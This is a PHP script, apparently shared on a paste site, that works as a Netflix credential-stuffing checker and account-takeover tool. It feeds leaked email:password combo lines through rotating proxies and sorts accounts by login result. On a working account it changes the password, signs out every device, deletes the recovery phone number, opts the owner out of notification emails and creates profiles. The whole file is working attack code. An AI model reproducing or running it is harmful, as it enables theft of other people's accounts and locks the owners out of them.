· 5 years ago · Sep 05, 2020, 01:42 AM
1<?php
2$GLOBALS['domain_change_mail'] = "vd5aaec54";
3$GLOBALS['domain_change_profiles'] = "vd5aaec54";
4//print("<pre>".print_r($_GET,true)."</pre>");
5//header('Content-Type:text/plain; charset=utf-8');
6date_default_timezone_set('America/Monterrey');
7$d = new DateTime('');
8function logger($message, array $data, $logFile = "error.log"){
9 foreach ($data as $key => $val) {
10 $message = str_replace("%{$key}%", $val, $message);
11 }
12 $message .= PHP_EOL;
13 return file_put_contents($logFile, $message, FILE_APPEND);
14}
15function getClientIP()
16{
17 $ipaddress = 'UNKNOWN';
18 $keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');
19 foreach($keys as $k)
20 {
21 if (isset($_SERVER[$k]) && !empty($_SERVER[$k]) && filter_var($_SERVER[$k], FILTER_VALIDATE_IP))
22 {
23 $ipaddress = $_SERVER[$k];
24 break;
25 }
26 }
27 return $ipaddress;
28}
29$die = "yes";
30if(getClientIP() == "189.218.236.87"){
31 $die = "no";
32}
33if (getClientIP() == "52.187.47.215"){
34 $die = "no";
35}
36if ($die == "yes"){
37 die();
38}
39function getContents($str, $startDelimiter, $endDelimiter) {
40 $contents = array();
41 $startDelimiterLength = strlen($startDelimiter);
42 $endDelimiterLength = strlen($endDelimiter);
43 $startFrom = $contentStart = $contentEnd = 0;
44 while (false !== ($contentStart = strpos($str, $startDelimiter, $startFrom))) {
45 $contentStart += $startDelimiterLength;
46 $contentEnd = strpos($str, $endDelimiter, $contentStart);
47 if (false === $contentEnd) {
48 break;
49 }
50 $contents[] = substr($str, $contentStart, $contentEnd - $contentStart);
51 $startFrom = $contentEnd + $endDelimiterLength;
52 }
53
54 return $contents;
55}
56function Change_Password($ch,$mail,$current,$new='12345',$useauth){
57 // curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/password");
58 // $result = curl_exec ($ch);
59 // //echo "$result";
60 // $auth = getContents($result,',"authURL":"', '",')[0];
61 // $auth = str_replace("\\x3D", "=", $auth);
62 // $auth = str_replace("\\x2B", "+", $auth);
63 // $auth = str_replace("\\x2F", "/", $auth);
64 //echo "$auth<br/>";
65 //$auth = file_get_contents('http://35.222.219.141/NFC/convert.php?str='.$auth.'&method=2');
66 curl_setopt($ch, CURLOPT_PROXY, '');
67 // curl_setopt($ch, CURLOPT_HEADER, 1); {"email":"Zw54849Vv@lachafamta.com","password":"hellokitty","pw_new":"1234","pw_confirm":"1234","signout_devices":true,"authURL":"1574055556314.liJQB6JVj6Abk25i4vHlpPT6Aq4="}
68 curl_setopt ($ch, CURLOPT_REFERER, "https://www.netflix.com/password");
69 //echo "$changestr<br/>";
70 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/vd5aaec54/account/info"); //CHANGE PASS
71 //$changestr = 'email='.urlencode($mail).'&password='.urlencode($current).'&pw_new='.$new.'&pw_confirm='.$new.'&signout_devices=true&authURL='.$useauth;
72 $changestr = '{"email":"'.urlencode($mail).'","password":"'.urlencode($current).'","pw_new":"'.$new.'","pw_confirm":"'.$new.'","signout_devices":true,"authURL":"'.$useauth.'"}';
73 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
74 'Host: www.netflix.com',
75 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
76 'Accept: application/json, text/javascript, */*; q=0.01',
77 'Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3',
78 'Content-Type: application/json',
79 'X-Requested-With: XMLHttpRequest',
80 'Origin: https://www.netflix.com',
81 'DNT: 1',
82 'Connection: keep-alive',
83 'Referer: https://www.netflix.com/password',
84 'Accept-Encoding: gzip, deflate'
85 ));
86 curl_setopt($ch, CURLOPT_POSTFIELDS, $changestr);
87 curl_setopt ($ch, CURLOPT_POST, 1);
88 $mainresult = curl_exec ($ch);
89 $curl = curl_getinfo($ch);
90 //print("<pre>".print_r($curl,true)."</pre>");
91 //print("<pre>".print_r($mainresult,true)."</pre>");
92 if (strlen(strstr($mainresult, 'isTestAccount":')) > 0){
93 //===================================TELEFONO===================================
94 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/vd5aaec54/account/phonenumber"); //CHANGE PASS
95
96 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
97 'Host: www.netflix.com',
98 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
99 'Accept: application/json, text/javascript, */*; q=0.01',
100 'Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3',
101 'Content-Type: application/json',
102 'X-Requested-With: XMLHttpRequest',
103 'Origin: https://www.netflix.com',
104 'Connection: keep-alive',
105 'Referer: https://www.netflix.com/phonenumber',
106 'Accept-Encoding: gzip, deflate'
107 ));
108
109
110 //$changestr = 'password='.urlencode($new).'&action=delete&authURL='.$useauth;
111 $changestr = '{"password":"'.urlencode($new).'","action":"delete","authURL":"'.$useauth.'"}';
112 curl_setopt($ch, CURLOPT_POSTFIELDS, $changestr);
113 curl_setopt ($ch, CURLOPT_POST, 1);
114 $result = curl_exec ($ch);
115 //echo "<br/>$result";
116 //===================================TELEFONO===================================
117
118
119
120 //===================================EMAILS NOTIFICACIONES===================================
121
122
123 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
124 'Host: www.netflix.com',
125 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
126 'Accept: application/json, text/javascript, */*',
127 'Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3',
128 'X-Netflix.uiVersion: vd5aaec54',
129 'X-Netflix.esnPrefix: NFCDFF-02-',
130 'X-Netflix.browserName: Firefox',
131 'X-Netflix.browserVersion: 70',
132 'X-Netflix.osName: Windows',
133 'X-Netflix.osFullName: Windows 10',
134 'X-Netflix.osVersion: 10.0',
135 'X-Netflix.playerThroughput: 15188',
136 'X-Netflix.playerThroughputNiqr: 1.5828525308931476',
137 'X-Netflix.clientType: akira',
138 'Content-Type: application/json',
139 'Origin: https://www.netflix.com',
140 'Connection: keep-alive',
141 'Referer: https://www.netflix.com/EmailPreferences',
142 'Accept-Encoding: gzip, deflate'
143 ));
144
145
146 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/vd5aaec54/emailsub"); //CHANGE PASS
147 curl_setopt ($ch, CURLOPT_POSTFIELDS, '{"changeMap":{"NetflixNews":"OPTED_OUT","MemberNews":"OPTED_OUT","NetflixOffersViaEmail":"OPTED_OUT","NetflixSurveys":"OPTED_OUT"},"smsMap":{},"authURL":"'.$useauth.'"}');
148 curl_setopt ($ch, CURLOPT_POST, 1);
149 $result = curl_exec ($ch);
150 //echo "<br/>$result";
151 //===================================EMAILS NOTIFICACIONES===================================
152
153
154
155 return "true";
156 }else{
157 return $mainresult;
158 }
159 //echo "<br/>$result<br/>";
160 //return $auth;
161}
162function resultToArray($result) {
163 $rows = array();
164 while($row = $result->fetch_assoc()) {
165 $rows[] = $row;
166 }
167 return $rows;
168}
169function contains($needle, $haystack)
170{
171 return strpos($haystack, $needle) !== false;
172}
173function GenerateCookieFile(){
174 $uid = rand() . uniqid() . rand();
175 $result = hash("sha256", $uid);
176 touch("new_cookies/" . $result . "_LATEST.txt");
177 return "new_cookies/" . $result . "_LATEST.txt";
178}
179function MakeProfiles($ch,$mainprofile,$domain,$createamount){
180 if ($createamount > 0) {
181 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/browse");
182 $result = curl_exec ($ch);
183 // curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/profiles/manage");
184 // $result = curl_exec ($ch);
185 //print("<pre>".print_r(curl_getinfo($ch),true)."</pre>");
186 //echo "$result";
187 $NewAuth = getContents($result, ',"authURL":"', '","')[0];
188 $NewAuth = str_replace("\\x3D", "=", $NewAuth);
189 $NewAuth = str_replace("\\x2B", "+", $NewAuth);
190 $NewAuth = str_replace("\\x2F", "/", $NewAuth);
191 //echo "Viejo Auth: " . $GLOBALS['FirstAuth'] . "<br/>";
192 //echo "Nuevo Auth: $NewAuth";
193 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/$domain/profiles/create");
194 curl_setopt($ch, CURLOPT_POSTFIELDS, '{"profiles":"[{\"firstName\":\"AutoPerfil '.rand().'\",\"avatarName\":\"icon26\",\"jfk\":false}]","authURL":"'.$NewAuth.'"}');
195 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
196 'Content-Type: application/json',
197 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
198 'Accept: application/json, text/javascript, */*',
199 'Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3',
200 "X-Netflix.uiVersion: $inner1_domain",
201 'X-Netflix.esnPrefix: NFCDFF-02-',
202 'X-Netflix.browserName: Firefox',
203 'X-Netflix.browserVersion: 70',
204 'X-Netflix.osName: Windows',
205 'X-Netflix.osFullName: Windows 10',
206 'X-Netflix.osVersion: 10.0',
207 'X-Netflix.playerThroughput: 15327',
208 'X-Netflix.playerThroughputNiqr: 1.467474564750265',
209 'X-Netflix.clientType: akira',
210 "x-netflix.request.client.user.guid: $mainprofile",
211 'Origin: https://www.netflix.com',
212 'Connection: keep-alive',
213 'Referer: https://www.netflix.com/ManageProfiles'
214 ));
215 $result = curl_exec ($ch);
216 $guid1 = getContents($result, 'guid":"', '"')[0];
217 //print("<pre>".print_r($result,true)."</pre>");
218 if ($createamount == 1) {
219 return $guid1;
220 }
221 if ($createamount == 2) {
222 curl_setopt($ch, CURLOPT_POSTFIELDS, '{"profiles":"[{\"firstName\":\"AutoPerfil '.rand().'\",\"avatarName\":\"icon27\",\"jfk\":false}]","authURL":"'.$NewAuth.'"}');
223 $result = curl_exec ($ch);
224 //print("<pre>".print_r($result,true)."</pre>");
225 $guid2 = getContents($result, 'guid":"', '"')[0];
226 //echo "<hr/>Profile1: $guid1 | Profile2: $guid2";
227 return $guid2;
228 }
229 }
230}
231function DeleteProfiles($ch,$auth,$mainprofile,$deleteprofilearray,$domain){
232 echo "<hr/><br/><hr/>";
233 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/$domain/pathEvaluator?drmSystem=widevine&isWatchlistEnabled=false&isVolatileBillboardsEnabled=true&routeAPIRequestsThroughFTL=false&isTop10Supported=false&method=call&falcor_server=0.1.0&withSize=true&materialize=true");
234 foreach ($deleteprofilearray as $key => $value) {
235 echo "<br/>$key->$value<br/>";
236 curl_setopt($ch, CURLOPT_POSTFIELDS, 'callPath=%5B%22profilesList%22%2C%22remove%22%5D¶m=%22'.$value.'%22&path=%5B%22profilesList%22%2C%22summary%22%5D&path=%5B%22profilesList%22%2C%7B%22to%22%3A5%7D%2C%22summary%22%5D&path=%5B%22profilesList%22%2C%7B%22to%22%3A5%7D%2C%22avatar%22%2C%22images%22%2C%22byWidth%22%2C320%5D&authURL='.$auth);
237
238 $result = curl_exec($ch);
239 //print("<pre>".print_r(curl_getinfo($ch),true)."</pre>");
240 //print("$key: <pre>".print_r($result,true)."</pre>");
241 }
242 //die();
243}
244$cookie=GenerateCookieFile();
245$GLOBALS['CookieFile'] = $cookie;
246function CURL_INITIAL($proxy='noproxy'){
247 $ch = curl_init();
248 curl_setopt ($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 );
249 curl_setopt ($ch, CURLOPT_ENCODING, '');
250 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
251 curl_setopt ($ch, CURLOPT_USERAGENT, "Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0");
252 curl_setopt ($ch, CURLOPT_TIMEOUT, 400);
253 curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, false);
254 curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
255 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
256 curl_setopt ($ch, CURLOPT_COOKIEFILE, $GLOBALS['CookieFile']);
257 curl_setopt ($ch, CURLOPT_COOKIEJAR, $GLOBALS['CookieFile']);
258 if ($proxy != "noproxy"){
259 curl_setopt ($ch, CURLOPT_PROXY, $proxy);
260 }
261 return $ch;
262}
263function CURL_SETOPTS($ch,$proxy='noproxy'){
264 curl_setopt ($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 );
265 curl_setopt ($ch, CURLOPT_ENCODING, '');
266 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
267 curl_setopt ($ch, CURLOPT_USERAGENT, "Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0");
268 curl_setopt ($ch, CURLOPT_TIMEOUT, 400);
269 curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, false);
270 curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
271 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
272 curl_setopt ($ch, CURLOPT_COOKIESESSION, 1);
273 curl_setopt ($ch, CURLOPT_COOKIEFILE, $GLOBALS['CookieFile']);
274 curl_setopt ($ch, CURLOPT_COOKIEJAR, $GLOBALS['CookieFile']);
275 if ($proxy != "noproxy"){
276 curl_setopt ($ch, CURLOPT_PROXY, $proxy);
277 }
278}
279function Retrieve_AuthURL($response,$islogin='false'){
280 if (isset($response)) {
281 if ($islogin == "true") {
282 return getContents($response, 'name="authURL" value="', '"/>')[0];
283 }
284 }
285}
286function TheBestFuckingNetflixCheckerMadeEver($line,$proxy_check,$proxy_change,$use_custom_pass='12345'){
287 if ($use_custom_pass == ""){$use_custom_pass = "12345";}
288 if (isset($line)) {
289 if (is_array($line = explode(":", $line))){
290 if (isset($proxy_check)){
291 $mail = $line[0];
292 $pass = $line[1];
293 $max_attempts = 5;
294 $current_attempts = 0;
295 $GLOBALS['mail'] = $mail;
296 $GLOBALS['pass'] = $pass;
297 $GLOBALS['FirstLogin'] = "";
298 $GLOBALS['FirstAuth'] = "";
299 $GLOBALS['ProxyUsed'] = "";
300 $GLOBALS['FirstCookie'] = "";
301 $GLOBALS['Package'] = "";
302 $ch = CURL_INITIAL($proxy_check);
303 do{
304 try{
305 RETRY_WORKING:
306 $url='https://www.netflix.com/login'; //httpS
307 curl_setopt ($ch, CURLOPT_URL, $url);
308 //curl_setopt($ch, CURLOPT_COOKIE, "hasSeenCookieDisclosure=true; dsca=anonymous;");
309 curl_setopt ($ch, CURLOPT_REFERER, $url);
310 CURL_SETOPTS($ch,$proxy_check);
311 $result2 = curl_exec ($ch);
312 if(curl_error($ch)){
313 $str = "";
314 $err = curl_error($ch);
315 if ($err) {
316 $str = "[PHP ERROR]: ";
317 }
318 if ($err = "Proxy CONNECT aborted"){
319 $str .= "REVISAR PROXIES [$err] [PHP]";
320 }
321 echo "$str";
322 die();
323 }
324 //echo "$result2";
325 if (strpos($result2, 'Netflix Site Error') !== false) {
326 if ($proxy_check != "false") {
327 echo "resubmit [BAD PROXY]: $proxy_check";
328 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
329 echo PHP_EOL ."$totaltime".PHP_EOL;
330 die("");
331 }
332 throw new Exception('Netflix Site Error');
333 }else{
334 $GLOBALS['FirstLogin'] = "YES";
335 $auth=Retrieve_AuthURL($result2,"true");
336 $GLOBALS['FirstAuth'] = $auth;
337 $GLOBALS['ProxyUsed'] = $proxy_check;
338 $GLOBALS['FirstCookie'] = $GLOBALS['CookieFile'];
339
340 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
341 'Host: www.netflix.com',
342 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
343 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
344 'Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3',
345 'Content-Type: application/x-www-form-urlencoded',
346 'Origin: https://www.netflix.com',
347 'Connection: keep-alive',
348 'Referer: https://www.netflix.com/mx-en/login',
349 'Upgrade-Insecure-Requests: 1',
350 'Accept-Encoding: gzip, deflate'
351 ));
352 $url='https://www.netflix.com/mx-en/login'; //httpS
353 curl_setopt($ch, CURLOPT_POSTFIELDS, 'userLoginId='.urlencode($GLOBALS['mail']).'&password='.urlencode($GLOBALS['pass']).'&rememberMe=true&flow=websiteSignUp&mode=login&action=loginAction&withFields=rememberMe%2CnextPage%2CuserLoginId%2Cpassword%2CcountryCode%2CcountryIsoCode&authURL='.urlencode($GLOBALS['FirstAuth']).'&nextPage=&showPassword=&countryCode=%2B52&countryIsoCode=MX');
354 curl_setopt($ch, CURLOPT_POST, TRUE);
355 curl_setopt ($ch, CURLOPT_URL, $url);
356 CURL_SETOPTS($ch,$proxy_check);
357 curl_setopt ($ch, CURLOPT_REFERER, $url);
358 curl_setopt ($ch, CURLOPT_POST, 1);
359 $result = curl_exec ($ch);
360 //echo "$result";
361 if (strlen(strstr($result, "Sorry, we can't find an account with this email address")) > 0){
362 echo "$mail:$pass -CORREO INEXISTENTE- -MAIL DOESNT EXIST-";
363 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
364 echo " $totaltime";
365 die();
366 }
367 if (strlen(strstr($result, "Incorrect password")) > 0){
368 echo "$mail:$pass -CONTRASEÑA INCORRECTA- -WRONG PASSWORD-";
369 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
370 echo " $totaltime";
371 die();
372 }
373 if (strlen(strstr($result, "ui-message-container ui-message-error")) > 0){
374 echo "$mail:$pass -CONTRASEÑA INCORRECTA/ERROR DESCONOCIDO- -WRONG PASSWORD/UNKNOWN ERROR-";
375 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
376 echo " $totaltime";
377 die();
378 }
379 if (strlen(strstr($result, "We are having technical difficulties and are actively working on a fix. Please try again in a few minutes.")) > 0){
380 echo "$mail:$pass -COOKIE INVALIDA- -INVALID COOKIE/TRY AGAIN LATER-";
381 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
382 echo " $totaltime";
383 die();
384 }
385 if(strlen(strstr($result, '"membershipStatus":"CURRENT_MEMBER","isInFreeTrial":true')) > 0){
386 //echo "Free Trial Member";
387 $GLOBALS['Package'] = "Free Trial";
388 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
389 //echo " $totaltime";
390 //die("");
391 }elseif(strlen(strstr($result, '"CURRENT_MEMBER":false,"FORMER_MEMBER":false')) > 0){
392 echo "Never Member";
393 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
394 echo " $totaltime";
395 die("");
396 }
397 if (strpos($result, 'We are having technical difficulties and are actively working on a fix. Please try again in a few minutes.') !== false) {
398 echo "retry_later [PROTECTED ACCOUNT]: $proxy_check";
399 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
400 echo " $totaltime";
401 throw new Exception("retry_later [PROTECTED ACCOUNT]: $proxy_check");
402 die("");
403 }
404 if (strlen(strstr($result, '/signup/payment')) > 0 or strlen(strstr($result, '<form class="cta-form" action="/signup" method="GET" id="formstart">'))){
405 echo "$mail:$pass -CUENTA SIN METODO DE PAGO-";
406 die();
407 $GLOBALS['Is_Signup'] = "true";
408 //$GLOBALS['Override_Dont_Change_Anything'] = "yes";
409 //$totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
410 //echo PHP_EOL ."$totaltime".PHP_EOL;
411 //return "$mail:$pass -REGISTRO EMPEZADO-" . PHP_EOL;
412 }
413 if (strlen(strstr($result, "stepLogo planStepLogo")) > 0){
414 echo "$mail:$pass -REGISTRO EMPEZADO/CUENTA FREE, REVISANDO METODO DE PAGO-" . PHP_EOL;
415 $GLOBALS['Is_Signup'] = "true";
416 //$totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
417 //echo PHP_EOL ."$totaltime".PHP_EOL;
418 //$GLOBALS['Override_Dont_Change_Anything'] = "yes";
419 //return "$mail:$pass -REGISTRO EMPEZADO-" . PHP_EOL;
420 }
421 //echo "$result";
422 //die();
423 //echo "METODO PAGO: $metodo_pago";
424 //die();
425 CURL_SETOPTS($ch,$proxy_change);
426 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/ProfilesGate");
427 $result = curl_exec ($ch);
428 $inner1_domain = getContents($result, 'shakti-css-','/');
429 //print("<pre>".print_r($inner1_domain,true)."</pre>");
430 if ($inner1_domain[0]){
431 $inner1_domain = $inner1_domain[0];
432 //echo "<br/><br/><strong>FULL DOMAIN: https://www.netflix.com/api/shakti/$inner1_domain/account/info</strong><br/><br/>";
433 }else{
434 echo "Fail on Get shakti API URL";
435 die("Fail on Get shakti API URL");
436 }
437
438
439 //echo "<strong>USANDO LOGIN DE PERFIL</strong><br/>";
440 $profiles = getContents($result, '<a class="profile-link" tabindex="0" href="/SwitchProfile?tkn=', '">');
441 //print("<pre>".print_r($profiles,true)."</pre>");
442 $mainprofile = "";
443 $guid1 = "";
444 $guid2 = "";
445 $secondaryprofiles = array();
446 $kidsprofiles = array();
447 //print("<pre>".print_r($profiles,true)."</pre>");
448 foreach ($profiles as $key => $value) {
449 if(strpos($value, "kids") !== false){
450 //echo "$value KIDS<br/>";
451 $kidsprofiles[] = explode("\"", $value)[0];
452 $profiles[$key] = explode("\"", $value)[0];
453 unset($profiles[$key]);
454 }elseif (strpos($value, "primary") !== false) {
455 $mainprofile = explode("\"", $value)[0];
456 unset($profiles[$key]);
457 }elseif (strpos($value, "secondary") !== false) {
458 $secondaryprofiles[] = explode("\"", $value)[0];
459 $profiles[$key] = explode("\"", $value)[0];
460 }else{
461 $profiles[$key] = explode('"', $value)[0];
462 }
463 }
464 $profileamount = count($profiles);
465 //echo "<br/>hay $profileamount perfiles<br/>";
466 //print("<pre>".print_r($secondaryprofiles,true)."</pre>");
467 //print("<pre>".print_r($profiles,true)."</pre>");
468 //echo end($secondaryprofiles);
469 //die();
470 $use_profile = $profiles[1];
471 curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/SwitchProfile?tkn=$mainprofile");
472 CURL_SETOPTS($ch,$proxy_change);
473 $result = curl_exec ($ch);
474 $auth_del = getContents($result,',"authURL":"', '",')[0];
475 $auth_del = str_replace("\\x3D", "=", $auth_del);
476 $auth_del = str_replace("\\x2B", "+", $auth_del);
477 $auth_del = str_replace("\\x2F", "/", $auth_del);
478 echo "<hr/>authdel: $auth_del<hr/>";
479 $profilecreatearray = "";
480 if($profileamount < 2){
481 if($profileamount == 1){
482 //echo "Perfiles existentes: 1";
483 //MakeProfiles($ch,$mainprofile,"v7a964892",1);
484 $use_profile = end($secondaryprofiles);
485 }
486 if($profileamount == 0){
487 //echo "Perfiles existentes: 0";
488 $profilecreatearray = MakeProfiles($ch,$mainprofile,$GLOBALS['domain_change_profiles'],2);
489 $use_profile = $profilecreatearray;
490 }
491 }else{
492 //echo "Perfiles ya creados, no es necesario crear";
493 }
494 //DeleteProfiles($ch,$auth_del,$mainprofile,$secondaryprofiles,"v7a964892");
495 //MakeProfiles($ch,$mainprofile,"v7a964892");
496
497
498 //die();
499 //curl_setopt ($ch, CURLOPT_URL, "https://www.netflix.com/api/shakti/v7a964892/profiles/switch?switchProfileGuid=$mainprofile&_=1574061681969&authURL=".urlencode($GLOBALS['FirstAuth']));
500 $changepass = Change_Password($ch,$mail,$pass,$use_custom_pass,$auth_del);
501 if ($changepass == "true"){
502 if ($GLOBALS['Package'] == "Free Trial"){
503 $str_acc = "[SUCCESS FREE TRIAL] $mail:$use_custom_pass";
504 }elseif ($GLOBALS['Is_Signup'] == "true") {
505 $str_acc = "[FREE] $mail:$pass:$use_custom_pass";
506 }else{
507 $str_acc = "[SUCCESS] $mail:$use_custom_pass";
508 }
509 //$str_acc = str_replace ( $pass, $use_custom_pass, $str_acc);
510 echo "$str_acc";
511 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
512 echo PHP_EOL ."Tomo $totaltime".PHP_EOL;
513 }else{
514 //if ($max_attempts > $current_attempts) {
515 //$current_attempts++;
516 // goto RETRY_WORKING;
517 //}else{
518 $string_array = json_encode($res);
519 echo "[ERROR] RETRY [$mail:$pass]-[$changepass]";
520 //}
521 //}
522 //LogHit($string_success);
523 //print("<pre>".print_r(curl_getinfo($ch)['primary_ip'],true)."</pre>");
524 $totaltime = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
525 echo PHP_EOL ."Tomo $totaltime".PHP_EOL;
526 }
527 }
528 }catch (Exception $e){
529 $current_attempts++;
530 }
531 }while ($GLOBALS['FirstLogin'] != "YES" AND $max_attempts > $current_attempts);
532 $current_attempts = 0;
533 //print("<pre>".print_r($GLOBALS,true)."</pre>");
534 }
535 }
536 }
537}
538if (isset($_GET['proxy']) and isset($_GET['comboline'])) {
539 print("<pre>".print_r($_GET,true)."</pre>");
540 TheBestFuckingNetflixCheckerMadeEver($_GET['comboline'],$_GET['proxy'],"http://p.webshare.io:20052", $_GET['custompass']);
541}elseif (isset($_POST['proxy']) and isset($_POST['comboline'])) {
542 //echo "using proxy: " . $_POST['proxy'] . PHP_EOL;
543 TheBestFuckingNetflixCheckerMadeEver($_POST['comboline'],$_POST['proxy'],"http://p.webshare.io:20052", $_POST['custompass']);
544}
545 //TheBestFuckingNetflixCheckerMadeEver("1233177@my.viola.gq:1234","http://88.198.59.227:777","socks5://209.205.212.34:1236");
546//echo "Combo: " . $_GET['comboline'] . " - proxy:" . $_GET['proxy'] . PHP_EOL;
547
548//echo "hi";
549//echo UltimateChecker("lore_0903@hotmail.com:12345",'@conectate.online',"http://p.webshare.io:20008");
550?>